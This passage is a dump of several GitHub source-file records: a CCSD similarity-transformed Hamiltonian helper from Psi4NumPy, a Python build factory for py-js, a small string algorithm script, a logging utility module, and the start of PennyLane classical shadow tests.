p.main(sys.argv)\n\n","repo_name":"TeamCohen/GuineaPig","sub_path":"mrs_test/mrs-wordcount.py","file_name":"mrs-wordcount.py","file_ext":"py","file_size_in_byte":493,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"52"} +{"seq_id":"13415364845","text":"\"\"\" RHF-CCSD similarity transformed Hamiltonian \"\"\"\n\n__authors__ = \"Ashutosh Kumar\"\n__credits__ = [\n \"T. D. Crawford\", \"Daniel G. A. Smith\", \"Lori A. Burns\", \"Ashutosh Kumar\"\n]\n\n__copyright__ = \"(c) 2014-2018, The Psi4NumPy Developers\"\n__license__ = \"BSD-3-Clause\"\n__date__ = \"2017-05-17\"\n\nimport time\nimport numpy as np\nimport psi4\nfrom utils import ndot\n\n\nclass HelperCCHbar(object):\n \"\"\"\n This class builds pieces of the similarity transformed hamiltomian,\n Hbar = e^(-T)He^(T) = H + [H,T] + 1/2![[H,T],T] + 1/3![[[H,T],T],T] + 1/4![[[[H,T],T],T],T]\n which can be used quite conveniently to solve lambda equations, calculate excitation energies \n (EOM-CC sigma equations), CC response properties etc.. Spin orbitals expression of all Hbar \n components are written in einstein notation in the doctrings of functions below. Ofcourse, \n we are constructing

(or beta) and \n

components here.\n\n References: \n 1. J. Gauss and J.F. Stanton, J. Chem. Phys., volume 103, pp. 3561-3577 (1995). \n \"\"\"\n\n def __init__(self, ccsd, memory=2):\n\n # Start of the cchbar class\n time_init = time.time()\n\n self.MO = ccsd.MO\n self.ndocc = ccsd.ndocc\n self.nmo = ccsd.nmo\n self.nocc = ccsd.ndocc\n self.nvirt = ccsd.nmo - ccsd.nocc\n\n self.slice_o = slice(0, self.nocc)\n self.slice_v = slice(self.nocc, self.nmo)\n self.slice_a = slice(0, self.nmo)\n self.slice_dict = {\n 'o': self.slice_o,\n 'v': self.slice_v,\n 'a': self.slice_a\n }\n\n self.F = ccsd.F\n self.Dia = ccsd.Dia\n self.Dijab = ccsd.Dijab\n self.t1 = ccsd.t1\n self.t2 = ccsd.t2\n\n print('\\nBuilding HBAR components ...')\n\n self.build_Loovv()\n self.build_Looov()\n self.build_Lvovv()\n\n self.build_Hov()\n self.build_Hoo()\n self.build_Hvv()\n self.build_Hoooo()\n self.build_Hvvvv()\n self.build_Hvovv()\n self.build_Hooov()\n self.build_Hovvo()\n self.build_Hovov()\n self.build_Hvvvo()\n self.build_Hovoo()\n\n print('\\n..HBAR Build completed !!')\n\n # occ orbitals i, j, k, l, m, n\n # virt orbitals a, b, c, d, e, f\n # all oribitals p, q, r, s, t, u, v\n\n def get_MO(self, string):\n if len(string) != 4:\n psi4.core.clean()\n raise Exception('get_MO: string %s must have 4 elements.' % string)\n return self.MO[self.slice_dict[string[0]], self.slice_dict[string[1]],\n self.slice_dict[string[2]], self.slice_dict[string[3]]]\n\n def get_F(self, string):\n if len(string) != 2:\n psi4.core.clean()\n raise Exception('get_F: string %s must have 2 elements.' % string)\n return self.F[self.slice_dict[string[0]], self.slice_dict[string[1]]]\n\n def build_Loovv(self):\n tmp = self.get_MO('oovv').copy()\n self.Loovv = 2.0 * tmp - tmp.swapaxes(2, 3)\n return self.Loovv\n\n def build_Looov(self):\n tmp = self.get_MO('ooov').copy()\n self.Looov = 2.0 * tmp - tmp.swapaxes(0, 1)\n return self.Looov\n\n def build_Lvovv(self):\n tmp = self.get_MO('vovv').copy()\n self.Lvovv = 2.0 * tmp - tmp.swapaxes(2, 3)\n return self.Lvovv\n\n def build_tau(self):\n self.ttau = self.t2.copy()\n tmp = np.einsum('ia,jb->ijab', self.t1, self.t1)\n self.ttau += tmp\n return self.ttau\n\n # F and W are the one and two body intermediates which appear in the CCSD\n # T1 and T2 equations. Please refer to helper_ccenergy file for more details.\n\n def build_Hov(self):\n \"\"\" = F_me = f_me + t_nf \"\"\"\n self.Hov = self.get_F('ov').copy()\n self.Hov += ndot('nf,mnef->me', self.t1, self.Loovv)\n return self.Hov\n\n def build_Hoo(self):\n \"\"\"\n = F_mi + 0.5 * t_ie F_me = f_mi + t_ie f_me\n + t_ne + tau_inef \n \"\"\"\n self.Hoo = self.get_F('oo').copy()\n self.Hoo += ndot('ie,me->mi', self.t1, self.get_F('ov'))\n self.Hoo += ndot('ne,mnie->mi', self.t1, self.Looov)\n self.Hoo += ndot('inef,mnef->mi', self.build_tau(), self.Loovv)\n return self.Hoo\n\n def build_Hvv(self):\n \"\"\"\n = F_ae - 0.5 * t_ma F_me = f_ae - t_ma f_me \n + t_mf - tau_mnfa \n \"\"\"\n self.Hvv = self.get_F('vv').copy()\n self.Hvv -= ndot('ma,me->ae', self.t1, self.get_F('ov'))\n self.Hvv += ndot('mf,amef->ae', self.t1, self.Lvovv)\n self.Hvv -= ndot('mnfa,mnfe->ae', self.build_tau(), self.Loovv)\n return self.Hvv\n\n def build_Hoooo(self):\n \"\"\" \n = W_mnij + 0.25 * tau_ijef = \n + P(ij) t_je + 0.5 * tau_ijef \n \"\"\"\n self.Hoooo = self.get_MO('oooo').copy()\n self.Hoooo += ndot('je,mnie->mnij', self.t1, self.get_MO('ooov'))\n self.Hoooo += ndot('ie,mnej->mnij', self.t1, self.get_MO('oovo'))\n self.Hoooo += ndot('ijef,mnef->mnij', self.build_tau(),\n self.get_MO('oovv'))\n return self.Hoooo\n\n def build_Hvvvv(self):\n \"\"\"\n = W_abef + 0.25 * tau_mnab = \n - P(ab) t_mb + 0.5 * tau_mnab \n \"\"\"\n self.Hvvvv = self.get_MO('vvvv').copy()\n self.Hvvvv -= ndot('mb,amef->abef', self.t1, self.get_MO('vovv'))\n self.Hvvvv -= ndot('ma,bmfe->abef', self.t1, self.get_MO('vovv'))\n self.Hvvvv += ndot('mnab,mnef->abef', self.build_tau(),\n self.get_MO('oovv'))\n return self.Hvvvv\n\n def build_Hvovv(self):\n \"\"\" = - t_na \"\"\"\n self.Hvovv = self.get_MO('vovv').copy()\n self.Hvovv -= ndot('na,nmef->amef', self.t1, self.get_MO('oovv'))\n return self.Hvovv\n\n def build_Hooov(self):\n \"\"\" = + t_if \"\"\"\n self.Hooov = self.get_MO('ooov').copy()\n self.Hooov += ndot('if,mnfe->mnie', self.t1, self.get_MO('oovv'))\n return self.Hooov\n\n def build_Hovvo(self):\n \"\"\" \n = W_mbej - 0.5 * t_jnfb = + t_jf \n - t_nb - (t_jnfb + t_jf t_nb) \n \"\"\"\n self.Hovvo = self.get_MO('ovvo').copy()\n self.Hovvo += ndot('jf,mbef->mbej', self.t1, self.get_MO('ovvv'))\n self.Hovvo -= ndot('nb,mnej->mbej', self.t1, self.get_MO('oovo'))\n self.Hovvo -= ndot('jnfb,nmfe->mbej', self.build_tau(),\n self.get_MO('oovv'))\n self.Hovvo += ndot('jnbf,nmfe->mbej', self.t2, self.Loovv)\n return self.Hovvo\n\n def build_Hovov(self):\n \"\"\" \n = - = + t_jf - t_nb \n - (t_jnfb + t_jf t_nb) \n \"\"\"\n self.Hovov = self.get_MO('ovov').copy()\n self.Hovov += ndot('jf,bmef->mbje', self.t1, self.get_MO('vovv'))\n self.Hovov -= ndot('nb,mnje->mbje', self.t1, self.get_MO('ooov'))\n self.Hovov -= ndot('jnfb,nmef->mbje', self.build_tau(),\n self.get_MO('oovv'))\n return self.Hovov\n\n def build_Hvvvo(self):\n \"\"\"\n = - F_me t_miab + t_if Wabef + 0.5 * tau_mnab \n - P(ab) t_miaf - P(ab) t_ma { - t_nibf }\n \"\"\"\n # \n\n self.Hvvvo = self.get_MO('vvvo').copy()\n\n # - Fme t_miab\n\n self.Hvvvo -= ndot('me,miab->abei', self.get_F('ov'), self.t2)\n tmp = ndot('mnfe,mf->ne', self.Loovv, self.t1)\n self.Hvvvo -= ndot('niab,ne->abei', self.t2, tmp)\n\n # t_if Wabef\n\n self.Hvvvo += ndot('if,abef->abei', self.t1, self.get_MO('vvvv'))\n tmp = ndot('if,ma->imfa', self.t1, self.t1)\n self.Hvvvo -= ndot('imfa,mbef->abei', tmp, self.get_MO('ovvv'))\n self.Hvvvo -= ndot('imfb,amef->abei', tmp, self.get_MO('vovv'))\n tmp = ndot('mnef,if->mnei', self.get_MO('oovv'), self.t1)\n self.Hvvvo += ndot('mnab,mnei->abei', self.t2, tmp)\n tmp = ndot('if,ma->imfa', self.t1, self.t1)\n tmp1 = ndot('mnef,nb->mbef', self.get_MO('oovv'), self.t1)\n self.Hvvvo += ndot('imfa,mbef->abei', tmp, tmp1)\n\n # 0.5 * tau_mnab \n\n self.Hvvvo += ndot('mnab,mnei->abei', self.build_tau(),\n self.get_MO('oovo'))\n\n # - P(ab) t_miaf \n\n self.Hvvvo -= ndot('imfa,mbef->abei', self.t2, self.get_MO('ovvv'))\n self.Hvvvo -= ndot('imfb,amef->abei', self.t2, self.get_MO('vovv'))\n self.Hvvvo += ndot('mifb,amef->abei', self.t2, self.Lvovv)\n\n # - P(ab) t_ma \n\n self.Hvvvo -= ndot('mb,amei->abei', self.t1, self.get_MO('vovo'))\n self.Hvvvo -= ndot('ma,bmie->abei', self.t1, self.get_MO('voov'))\n\n # P(ab) t_ma * t_nibf \n\n tmp = ndot('mnef,ma->anef', self.get_MO('oovv'), self.t1)\n self.Hvvvo += ndot('infb,anef->abei', self.t2, tmp)\n tmp = ndot('mnef,ma->nafe', self.Loovv, self.t1)\n self.Hvvvo -= ndot('nifb,nafe->abei', self.t2, tmp)\n tmp = ndot('nmef,mb->nefb', self.get_MO('oovv'), self.t1)\n self.Hvvvo += ndot('niaf,nefb->abei', self.t2, tmp)\n return self.Hvvvo\n\n def build_Hovoo(self):\n \"\"\" \n = - Fme t_ijbe - t_nb Wmnij + 0.5 * tau_ijef \n + P(ij) t_jnbe + P(ij) t_ie { - t_njbf }\n \"\"\"\n # \n\n self.Hovoo = self.get_MO('ovoo').copy()\n\n # - Fme t_ijbe\n\n self.Hovoo += ndot('me,ijeb->mbij', self.get_F('ov'), self.t2)\n tmp = ndot('mnef,nf->me', self.Loovv, self.t1)\n self.Hovoo += ndot('me,ijeb->mbij', tmp, self.t2)\n\n # - t_nb Wmnij\n\n self.Hovoo -= ndot('nb,mnij->mbij', self.t1, self.get_MO('oooo'))\n tmp = ndot('ie,nb->ineb', self.t1, self.t1)\n self.Hovoo -= ndot('ineb,mnej->mbij', tmp, self.get_MO('oovo'))\n self.Hovoo -= ndot('jneb,mnie->mbij', tmp, self.get_MO('ooov'))\n tmp = ndot('nb,mnef->mefb', self.t1, self.get_MO('oovv'))\n self.Hovoo -= ndot('ijef,mefb->mbij', self.t2, tmp)\n tmp = ndot('ie,jf->ijef', self.t1, self.t1)\n tmp1 = ndot('nb,mnef->mbef', self.t1, self.get_MO('oovv'))\n self.Hovoo -= ndot('mbef,ijef->mbij', tmp1, tmp)\n\n # 0.5 * tau_ijef \n\n self.Hovoo += ndot('ijef,mbef->mbij', self.build_tau(),\n self.get_MO('ovvv'))\n\n # P(ij) t_jnbe \n\n self.Hovoo -= ndot('ineb,mnej->mbij', self.t2, self.get_MO('oovo'))\n self.Hovoo -= ndot('jneb,mnie->mbij', self.t2, self.get_MO('ooov'))\n self.Hovoo += ndot('jnbe,mnie->mbij', self.t2, self.Looov)\n\n # P(ij) t_ie \n\n self.Hovoo += ndot('je,mbie->mbij', self.t1, self.get_MO('ovov'))\n self.Hovoo += ndot('ie,mbej->mbij', self.t1, self.get_MO('ovvo'))\n\n # - P(ij) t_ie * t_njbf \n\n tmp = ndot('ie,mnef->mnif', self.t1, self.get_MO('oovv'))\n self.Hovoo -= ndot('jnfb,mnif->mbij', self.t2, tmp)\n tmp = ndot('mnef,njfb->mejb', self.Loovv, self.t2)\n self.Hovoo += ndot('mejb,ie->mbij', tmp, self.t1)\n tmp = ndot('je,mnfe->mnfj', self.t1, self.get_MO('oovv'))\n self.Hovoo -= ndot('infb,mnfj->mbij', self.t2, tmp)\n return self.Hovoo\n\n\n# End HelperCCHbar class\n","repo_name":"psi4/psi4numpy","sub_path":"Coupled-Cluster/RHF/helper_cchbar.py","file_name":"helper_cchbar.py","file_ext":"py","file_size_in_byte":11774,"program_lang":"python","lang":"en","doc_type":"code","stars":301,"dataset":"github-code","pt":"52"} +{"seq_id":"38459256865","text":"from . import core\nfrom .config import (\n Project,\n CURRENT_PYTHON_VERSION,\n DEFAULT_BZ2_VERSION,\n DEFAULT_SSL_VERSION,\n DEFAULT_XZ_VERSION,\n)\n\n\n# -----------------------------------------------------------------------------\n# UTILITY FUNCTIONS\n\n# returns default if k is not found in d or d[k] returns None\ndef get(d, k, default):\n return d[k] if k in d and d[k] else default\n\n\n# -----------------------------------------------------------------------------\n# FACTORY MANAGER\n\nclass FactoryManager:\n \"\"\"\n The builder.FactoryManager organizes production of custom Python builds and\n Python3 externals.\n\n It provides factory methods which dispatch to specialized builders\n which build a corresponding product.\n\n FM -> factories -> builders -> products.\n \"\"\"\n\n PYTHON_BUILDERS = dict(\n python_shared=core.SharedPythonBuilder,\n python_shared_ext=core.SharedPythonForExtBuilder,\n python_shared_pkg=core.SharedPythonForPkgBuilder,\n python_shared_tiny=core.TinySharedPythonBuilder,\n python_framework=core.FrameworkPythonBuilder,\n python_framework_ext=core.FrameworkPythonForExtBuilder,\n python_framework_pkg=core.FrameworkPythonForPkgBuilder,\n python_relocatable=core.RelocatablePythonBuilder,\n python_static=core.StaticPythonBuilder,\n python_static_tiny=core.TinyStaticPythonBuilder,\n python_beeware=core.BeewarePythonBuilder,\n python_cmake=core.PythonCmakeBuilder,\n )\n\n PYJS_BUILDERS = dict(\n pyjs_local_sys=(core.LocalSystemBuilder, []),\n pyjs_homebrew_ext=(core.HomebrewExtBuilder, []),\n pyjs_homebrew_pkg=(core.HomebrewPkgBuilder, []),\n pyjs_shared_ext=(core.SharedExtBuilder, [\"python_shared_ext\"]),\n pyjs_shared_tiny_ext=(core.SharedExtBuilder, [\"python_shared_tiny\"]),\n pyjs_shared_pkg=(core.SharedPkgBuilder, [\"python_shared_pkg\"]),\n pyjs_framework_ext=(core.FrameworkExtBuilder, [\"python_framework_ext\"]),\n pyjs_framework_pkg=(core.FrameworkPkgBuilder, [\"python_framework_pkg\"]),\n pyjs_relocatable_pkg=(core.RelocatablePkgBuilder, [\"python_relocatable\"]),\n pyjs_static_ext=(core.StaticExtBuilder, [\"python_static\"]),\n pyjs_static_tiny_ext=(core.StaticExtBuilder, [\"python_static_tiny\"]),\n pyjs_beeware_ext=(core.BeewareExtBuilder, [\"python_beeware\"]),\n )\n\n# -----------------------------------------------------------------------------\n# DEPENDENCY PRODUCTS\n\n def get_bzip2_product(self, bz2_version=DEFAULT_BZ2_VERSION, **settings):\n return core.Product(\n name=\"bzip2\",\n version=bz2_version,\n url_template=\"https://sourceware.org/pub/bzip2/{name}-{version}.tar.gz\",\n libs_static=[\"libbz2.a\"],\n )\n\n\n def get_ssl_product(self, ssl_version=DEFAULT_SSL_VERSION, **settings):\n return core.Product(\n name=\"openssl\",\n version=ssl_version,\n url_template=\"https://www.openssl.org/source/{name}-{version}.tar.gz\",\n libs_static=[\"libssl.a\", \"libcrypto.a\"],\n )\n\n\n def get_xz_product(self, xz_version=DEFAULT_XZ_VERSION, **settings):\n return core.Product(\n name=\"xz\",\n version=\"5.2.5\",\n url_template=\"http://tukaani.org/xz/{name}-{version}.tar.gz\",\n libs_static=[\"libxz.a\"],\n )\n\n\n# -----------------------------------------------------------------------------\n# DEPENDENCY BUILDERS\n\n\n def dependency_builder_factory(self, name, **settings):\n\n bz2_version = get(settings, \"bz2_version\", DEFAULT_BZ2_VERSION)\n ssl_version = get(settings, \"ssl_version\", DEFAULT_SSL_VERSION)\n xz_version = get(settings, \"xz_version\", DEFAULT_XZ_VERSION)\n\n return {\n \"bz2\": core.Bzip2Builder(product=self.get_bzip2_product(bz2_version), **settings),\n \"ssl\": core.OpensslBuilder(product=self.get_ssl_product(ssl_version), **settings),\n \"xz\": core.XzBuilder(product=self.get_xz_product(xz_version), **settings),\n }[name]\n\n\n# -----------------------------------------------------------------------------\n# PYTHON BUILDERS\n\n\n def python_builder_factory(self, name, **settings):\n\n py_version = get(settings, \"python_version\", CURRENT_PYTHON_VERSION)\n bz2_version = get(settings, \"bz2_version\", DEFAULT_BZ2_VERSION)\n ssl_version = get(settings, \"ssl_version\", DEFAULT_SSL_VERSION)\n xz_version = get(settings, \"xz_version\", DEFAULT_XZ_VERSION)\n\n _builder = self.PYTHON_BUILDERS[name]\n\n _dependencies = [\n core.Bzip2Builder(product=self.get_bzip2_product(bz2_version), **settings),\n core.OpensslBuilder(product=self.get_ssl_product(ssl_version), **settings),\n core.XzBuilder(product=self.get_xz_product(xz_version), **settings),\n ]\n\n product = core.Product(\n name=\"Python\",\n version=py_version,\n # build_dir=\"-\".join(name.split(\"_\")),\n build_dir=\"-\".join(name.split(\"_\")[:2]),\n url_template=\"https://www.python.org/ftp/python/{version}/Python-{version}.tgz\",\n libs_static=[f\"libpython{'.'.join(py_version.split('.')[:-1])}.a\"],\n )\n\n _independent_python_builders = [\n core.PythonCmakeBuilder,\n core.RelocatablePythonBuilder,\n ]\n\n if any(isinstance(_builder, i) for i in _independent_python_builders):\n return _builder(product=product, **settings)\n else:\n return _builder(product=product, depends_on=_dependencies, **settings)\n\n\n# -----------------------------------------------------------------------------\n# PYJS BUILDERS\n\n\n def pyjs_builder_factory(self, name, **settings):\n\n py_version = get(settings, \"python_version\", CURRENT_PYTHON_VERSION)\n get(settings, \"bz2_version\", DEFAULT_BZ2_VERSION)\n get(settings, \"ssl_version\", DEFAULT_SSL_VERSION)\n get(settings, \"xz_version\", DEFAULT_XZ_VERSION)\n\n _builder, dependencies = self.PYJS_BUILDERS[name]\n if dependencies:\n return _builder(\n product=core.Product(name=\"Python\", version=py_version),\n depends_on=[\n self.python_builder_factory(name, **settings) for name in dependencies\n ],\n **settings,\n )\n else:\n # no dep builder is a local builder therefore default_py_ver\n return _builder(\n product=core.Product(name=\"Python\", version=CURRENT_PYTHON_VERSION),\n **settings,\n )\n\n\n# -----------------------------------------------------------------------------\n# GENERIC BUILDERS\n\n\n def builder_factory(self, name, **settings):\n builder = None\n try:\n builder = self.pyjs_builder_factory(name, **settings)\n Project().record_variant(name)\n except KeyError:\n try:\n builder = self.python_builder_factory(name, **settings)\n except KeyError:\n try:\n builder = self.dependency_builder_factory(name, **settings)\n except KeyError:\n print(f\"builder type '{name}' not found in any factory.\")\n\n return builder\n\n\n# -----------------------------------------------------------------------------\n# RECIPES\n\n# An example of a recipe which can fix requirements to versions.\n\n\n def get_static_python_recipe(\n self,\n name,\n py_version=CURRENT_PYTHON_VERSION,\n bz2_version=DEFAULT_BZ2_VERSION,\n ssl_version=DEFAULT_SSL_VERSION,\n xz_version=DEFAULT_XZ_VERSION,\n **settings,\n ):\n return core.Recipe(\n name=name,\n builders=[\n core.StaticPythonBuilder(\n product=core.Product(\n name=\"Python\",\n version=py_version,\n build_dir=\"python-static\",\n url_template=\"https://www.python.org/ftp/python/{version}/Python-{version}.tgz\",\n libs_static=[f\"libpython{'.'.join(py_version.split('.')[:-1])}.a\"],\n ),\n depends_on=[\n core.Bzip2Builder(\n product=self.get_bzip2_product(bz2_version, **settings)\n ),\n core.OpensslBuilder(\n product=self.get_ssl_product(ssl_version, **settings)\n ),\n core.XzBuilder(product=self.get_xz_product(xz_version, **settings)),\n ],\n )\n ],\n )\n","repo_name":"shakfu/py-js","sub_path":"source/projects/py/builder/factory.py","file_name":"factory.py","file_ext":"py","file_size_in_byte":8709,"program_lang":"python","lang":"en","doc_type":"code","stars":76,"dataset":"github-code","pt":"52"} +{"seq_id":"33534461360","text":"import collections\n\ns = \"bcabc\"\n\ncounter, stack = collections.Counter(s), collections.deque()\n\nfor char in s:\n counter[char] -= 1\n\n if char in stack:\n continue\n\n while stack and char < stack[-1] and counter[stack[-1]] > 0:\n stack.pop()\n stack.append(char)\n\nprint(''.join(stack))","repo_name":"mathjihun/Python","sub_path":"Algorithm/remove_duplicate_letters.py","file_name":"remove_duplicate_letters.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"38393685427","text":"import logging\n\nwithFile = False\n\n\ndef log_with_file(logWithFile=False):\n global withFile\n withFile = logWithFile\n\n\ndef get_logger():\n if withFile:\n logging.basicConfig(format='%(asctime)s - %(levelname)s : %(message)s', filename='main.log',\n datefmt='%m/%d/%Y %I:%M:%S %p', level=logging.INFO)\n else:\n logging.basicConfig(format='%(asctime)s - %(levelname)s : %(message)s',\n datefmt='%m/%d/%Y %I:%M:%S %p', level=logging.INFO)\n return logging.getLogger()\n\n\ndef bounding_box_from_tuple(tuple_of_bbox):\n bbox = [float(tuple_of_bbox[0][0].split(\"BOX\")[1].split(\",\")[0].split(\" \")[0].split(\"(\")[1]),\n float(tuple_of_bbox[0][0].split(\"BOX\")[1].split(\",\")[0].split(\" \")[1]),\n float(tuple_of_bbox[0][0].split(\"BOX\")[1].split(\",\")[1].split(\" \")[0]),\n float(tuple_of_bbox[0][0].split(\"BOX\")[1].split(\",\")[1].split(\" \")[1].split(\")\")[0])]\n return bbox\n\n\ndef process_escape_character(data):\n if data is not None:\n return data.replace('\\'', '\\'\\'')\n return None\n\n\ndef build_string_for_solr(fields):\n result = ''\n for f in fields:\n if f is not None:\n result += ' ' + f + ' '\n return result\n","repo_name":"ifpb/SDI-Search-Engine","sub_path":"processing_engine/util/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"52"} +{"seq_id":"31505114512","text":"import copy\n\nimport autograd.numpy\nimport pytest\n\nimport pennylane as qml\nfrom pennylane import numpy as np\nfrom pennylane.measurements import ClassicalShadowMP, Shots\nfrom pennylane.measurements.classical_shadow import ShadowExpvalMP\n\n# pylint: disable=dangerous-default-value, too-many-arguments\n\n\ndef get_circuit(wires, shots, seed_recipes, interface=\"autograd\", device=\"default.qubit\"):\n \"\"\"\n Return a QNode that prepares the state (|00...0> + |11...1>) / sqrt(2)\n and performs the classical shadow measurement\n \"\"\"\n dev = qml.device(device, wires=wires, shots=shots)\n\n @qml.qnode(dev, interface=interface)\n def circuit():\n qml.Hadamard(wires=0)\n\n for target in range(1, wires):\n qml.CNOT(wires=[0, target])\n\n return qml.classical_shadow(wires=range(wires), seed=seed_recipes)\n\n return circuit\n\n\ndef get_x_basis_circuit(wires, shots, interface=\"autograd\"):\n \"\"\"\n Return a QNode that prepares the |++..+> state and performs a classical shadow measurement\n \"\"\"\n dev = qml.device(\"default.qubit\", wires=wires, shots=shots)\n\n @qml.qnode(dev, interface=interface)\n def circuit():\n for wire in range(wires):\n qml.Hadamard(wire)\n return qml.classical_shadow(wires=range(wires))\n\n return circuit\n\n\ndef get_y_basis_circuit(wires, shots, interface=\"autograd\"):\n \"\"\"\n Return a QNode that prepares the |+i>|+i>...|+i> state and performs a classical shadow measurement\n \"\"\"\n dev = qml.device(\"default.qubit\", wires=wires, shots=shots)\n\n @qml.qnode(dev, interface=interface)\n def circuit():\n for wire in range(wires):\n qml.Hadamard(wire)\n qml.RZ(np.pi / 2, wire)\n return qml.classical_shadow(wires=range(wires))\n\n return circuit\n\n\ndef get_z_basis_circuit(wires, shots, interface=\"autograd\"):\n \"\"\"\n Return a QNode that prepares the |00..0> state and performs a classical shadow measurement\n \"\"\"\n dev = qml.device(\"default.qubit\", wires=wires, shots=shots)\n\n @qml.qnode(dev, interface=interface)\n def circuit():\n return qml.classical_shadow(wires=range(wires))\n\n return circuit\n\n\nwires_list = [1, 3]\n\n\nclass TestProcessState:\n \"\"\"Unit tests for process_state_with_shots for the classical_shadow\n and shadow_expval measurements\"\"\"\n\n def test_shape_and_dtype(self):\n \"\"\"Test that the shape and dtype of the measurement is correct\"\"\"\n mp = qml.classical_shadow(wires=[0, 1])\n res = mp.process_state_with_shots(np.ones((2, 2)) / 2, qml.wires.Wires([0, 1]), shots=100)\n\n assert res.shape == (2, 100, 2)\n assert res.dtype == np.int8\n\n # test that the bits are either 0 and 1\n assert np.all(np.logical_or(res[0] == 0, res[0] == 1))\n\n # test that the recipes are either 0, 1, or 2 (X, Y, or Z)\n assert np.all(np.logical_or(np.logical_or(res[1] == 0, res[1] == 1), res[1] == 2))\n\n def test_wire_order(self):\n \"\"\"Test that the wire order is respected\"\"\"\n state = np.array([[1, 1], [0, 0]]) / np.sqrt(2)\n\n mp = qml.classical_shadow(wires=[0, 1])\n res = mp.process_state_with_shots(state, qml.wires.Wires([0, 1]), shots=1000)\n\n assert res.shape == (2, 1000, 2)\n assert res.dtype == np.int8\n\n # test that the first qubit samples are all 0s when the recipe is Z\n assert np.all(res[0][res[1, ..., 0] == 2][:, 0] == 0)\n\n # test that the second qubit samples contain 1s when the recipe is Z\n assert np.any(res[0][res[1, ..., 1] == 2][:, 1] == 1)\n\n res = mp.process_state_with_shots(state, qml.wires.Wires([1, 0]), shots=1000)\n\n assert res.shape == (2, 1000, 2)\n assert res.dtype == np.int8\n\n # now test that the first qubit samples contain 1s when the recipe is Z\n assert np.any(res[0][res[1, ..., 0] == 2][:, 0] == 1)\n\n # now test that the second qubit samples are all 0s when the recipe is Z\n assert np.all(res[0][res[1, ..., 1] == 2][:, 1] == 0)\n\n def test_subset_wires(self):\n \"\"\"Test that the measurement is correct when only a subset of wires is measured\"\"\"\n mp = qml.classical_shadow(wires=[0, 1])\n\n # GHZ state\n state = np.zeros((2, 2, 2))\n state[np.array([0, 1]), np.array([0, 1]), np.array([0, 1])] = 1 / np.sqrt(2)\n\n res = mp.process_state_with_shots(state, qml.wires.Wires([0, 1]), shots=100)\n\n assert res.shape == (2, 100, 2)\n assert res.dtype == np.int8\n\n # test that the bits are either 0 and 1\n assert np.all(np.logical_or(res[0] == 0, res[0] == 1))\n\n # test that the recipes are either 0, 1, or 2 (X, Y, or Z)\n assert np.all(np.logical_or(np.logical_or(res[1] == 0, res[1] == 1), res[1] == 2))\n\n def test_same_rng(self):\n \"\"\"Test results when the rng is the same\"\"\"\n state = np.ones((2, 2)) / 2\n\n mp1 = qml.classical_shadow(wires=[0, 1], seed=123)\n mp2 = qml.classical_shadow(wires=[0, 1], seed=123)\n\n res1 = mp1.process_state_with_shots(state, qml.wires.Wires([0, 1]), shots=100)\n res2 = mp2.process_state_with_shots(state, qml.wires.Wires([0, 1]), shots=100)\n\n # test recipes are the same but bits are different\n assert np.all(res1[1] == res2[1])\n assert np.any(res1[0] != res2[0])\n\n res1 = mp1.process_state_with_shots(state, qml.wires.Wires([0, 1]), shots=100, rng=456)\n res2 = mp2.process_state_with_shots(state, qml.wires.Wires([0, 1]), shots=100, rng=456)\n\n # now test everything is the same\n assert np.all(res1[1] == res2[1])\n assert np.all(res1[0] == res2[0])\n\n def test_expval_shape_and_val(self):\n \"\"\"Test that shadow expval measurements work as expected\"\"\"\n mp = qml.shadow_expval(qml.PauliX(0) @ qml.PauliX(1), seed=200)\n res = mp.process_state_with_shots(\n np.ones((2, 2)) / 2, qml.wires.Wires([0, 1]), shots=1000, rng=100\n )\n\n assert res.shape == ()\n assert np.allclose(res, 1.0, atol=0.05)\n\n def test_expval_wire_order(self):\n \"\"\"Test that shadow expval respects the wire order\"\"\"\n state = np.array([[1, 1], [0, 0]]) / np.sqrt(2)\n\n mp = qml.shadow_expval(qml.PauliZ(0), seed=200)\n res = mp.process_state_with_shots(state, qml.wires.Wires([0, 1]), shots=3000, rng=100)\n\n assert res.shape == ()\n assert np.allclose(res, 1.0, atol=0.05)\n\n res = mp.process_state_with_shots(state, qml.wires.Wires([1, 0]), shots=3000, rng=100)\n\n assert res.shape == ()\n assert np.allclose(res, 0.0, atol=0.05)\n\n def test_expval_same_rng(self):\n \"\"\"Test expval results when the rng is the same\"\"\"\n state = np.ones((2, 2)) / 2\n\n mp1 = qml.shadow_expval(qml.PauliZ(0) @ qml.PauliZ(1), seed=123)\n mp2 = qml.shadow_expval(qml.PauliZ(0) @ qml.PauliZ(1), seed=123)\n\n res1 = mp1.process_state_with_shots(state, qml.wires.Wires([0, 1]), shots=1000, rng=100)\n res2 = mp2.process_state_with_shots(state, qml.wires.Wires([0, 1]), shots=1000, rng=200)\n\n # test results are different\n assert res1 != res2\n\n res1 = mp1.process_state_with_shots(state, qml.wires.Wires([0, 1]), shots=1000, rng=456)\n res2 = mp2.process_state_with_shots(state, qml.wires.Wires([0, 1]), shots=1000, rng=456)\n\n # now test that results are the same\n assert res1 == res2\n\n\n@pytest.mark.parametrize(\"wires\", wires_list)\nclass TestClassicalShadow:\n \"\"\"Unit tests for classical_shadow measurement\"\"\"\n\n shots_list = [1, 100]\n seed_recipes_list = [None, 74] # random seed\n\n @pytest.mark.parametrize(\"seed\", seed_recipes_list)\n def test_measurement_process_numeric_type(self, wires, seed):\n \"\"\"Test that the numeric type of the MeasurementProcess instance is correct\"\"\"\n res = qml.classical_shadow(wires=range(wires), seed=seed)\n assert res.numeric_type == int\n\n @pytest.mark.parametrize(\"shots\", shots_list)\n @pytest.mark.parametrize(\"seed\", seed_recipes_list)\n def test_measurement_process_shape(self, wires, shots, seed):\n \"\"\"Test that the shape of the MeasurementProcess instance is correct\"\"\"\n dev = qml.device(\"default.qubit\", wires=wires, shots=shots)\n shots_obj = Shots(shots)\n res = qml.classical_shadow(wires=range(wires), seed=seed)\n assert res.shape(dev, shots_obj) == (2, shots, wires)\n\n # test an error is raised when device is None\n msg = \"Shots must be specified to obtain the shape of a classical shadow measurement\"\n with pytest.raises(qml.measurements.MeasurementShapeError, match=msg):\n res.shape(dev, Shots(None))\n\n def test_shape_matches(self, wires):\n \"\"\"Test that the shape of the MeasurementProcess matches the shape\n of the tape execution\"\"\"\n shots = 100\n\n circuit = 